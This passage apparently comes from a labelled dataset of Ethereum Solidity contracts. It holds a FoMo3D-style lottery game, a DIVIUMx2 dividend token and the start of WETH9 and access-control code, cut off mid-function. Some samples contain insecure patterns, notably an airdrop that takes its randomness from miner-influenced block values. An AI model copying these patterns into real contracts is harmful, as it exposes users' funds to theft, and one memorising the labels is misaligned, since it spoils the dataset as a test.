_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 208 |
pragma solidity ^0.4.20;
contract DIVIUMx2 {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = true;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "DIVIUM 10x2";
string public symbol = "DIVI10x2";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 0e18;
uint256 public slowDump = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 2 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = false;
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest(address _referredBy)
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, _referredBy);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
require(_tokens <= slowDump);
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= slowDump && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
require(_amountOfTokens > 10e18);
stakingRequirement = _amountOfTokens;
}
function setSlowDump(uint256 _amountOfTokens)
onlyAdministrator()
public
{
slowDump = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function DIVIUMx2()
public
{
administrators[0x703e04F6162f0f6c63F397994EbbF372a90e3d1d] = true;
ambassadors_[0x480bc57cE5BDA76c60A3B74abff50ce4D1F17c1e] = true;
ambassadors_[0x2116a113E7FbC5ce43eFC333720dB7eB56332780] = true;
ambassadors_[0x0C4a9Ebd53E82cC6eb714Fa009C65e9386F76743] = true;
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,366 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
